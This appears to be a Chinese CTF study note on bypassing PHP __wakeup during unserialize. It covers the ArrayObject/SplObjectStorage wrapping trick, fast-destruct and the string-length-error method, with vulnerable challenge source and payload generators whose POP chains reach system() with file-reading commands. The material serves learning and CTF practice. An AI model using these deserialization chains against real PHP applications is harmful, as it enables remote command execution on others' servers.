wake_up绕过
写在前面:
参考文章:https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#a0oue
https://fushuling.com/index.php/2023/03/11/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b8%adwakeup%e7%bb%95%e8%bf%87%e6%80%bb%e7%bb%93/#fast-destruct
https://www.cnblogs.com/APPPQRS/p/16862351.html
https://hackerqwq.github.io/2021/08/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8BFast-Destruct/
内置类trick
ctfshow愚人杯 easy_web
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
有wakeup,php版本7.3,绕过难度较高
将O直接改为C可以绕过wakeup,但不携带属性,只有一个ctfshow类,无法fastdestruct
可以使用内置类ArrayObject,
将序列化对象封装成array,再用ArrayObject 包装array
就会出现C开头的可被反序列化的内容,
payload:
class ctfshow{
public $ctfshow;
public function __construct(){
$this->ctfshow='tac /f1*';
}
}
$a=new ctfshow();
$arr=['evil'=>$a];
$ar=new ArrayObject($arr);
echo urlencode(serialize($ar));
可用类:
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize
SplObjectStorage:
class ctfshow{
public $ctfshow;
public function __construct(){
$this->ctfshow='tac /f1*';
}
}
$a=new ctfshow();
$arr=['evil'=>$a];
$ar=new SplObjectStorage($arr);
$ar->test=$arr;
echo urlencode(serialize($ar));
fast-destruct
在PHP中如果单独执行unserialize()函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()方法
而如果将unserialize()函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
payload:
<?php
class sorry
{
public $name;
public $password;
public $key;
public $hint;
}
class show
{
public $ctf;
}
class secret_code
{
public $code;
}
class fine
{
public $cmd;
public $content;
public function __construct()
{
$this->cmd = 'system';
$this->content = ' /';
}
}
$a=new sorry();
$b=new show();
$c=new secret_code();
$d=new fine();
$a->hint=$b;
$b->ctf=$c;
$e=new sorry();
$e->hint=$d;
$c->code=$e;
$e->key=$d;
echo (serialize($a));
//O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:2:" /";}s:4:"hint";r:10;}}}}
在payload最后的}去掉,是的成员得到反序列化后强行退出反序列化,提前执行destruct或在最后添加1
字符串长度错误
<?php
highlight_file(__FILE__);
class A
{
public $info;
private $end = "1";
public function __destruct()
{
$this->info->func();
echo "des";
}
}
class B
{
public $znd;
public function __wakeup()
{
$this->znd = "exit();";
echo '__wakeup';
}
public function __call($method, $args)
{
echo "__call ";
}
}
if(isset($_POST['pop'])){
@unserialize($_POST['pop']);
}
<?php
class A
{
public $info;
private $end = "1";
public function __destruct()
{
}
}
class B
{
public $znd;
public function __wakeup()
{
}
public function __call($method, $args)
{
}
}
$test=new A();
$test->info=new B();
echo serialize($test);
#O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"Aend";s:1:"1";}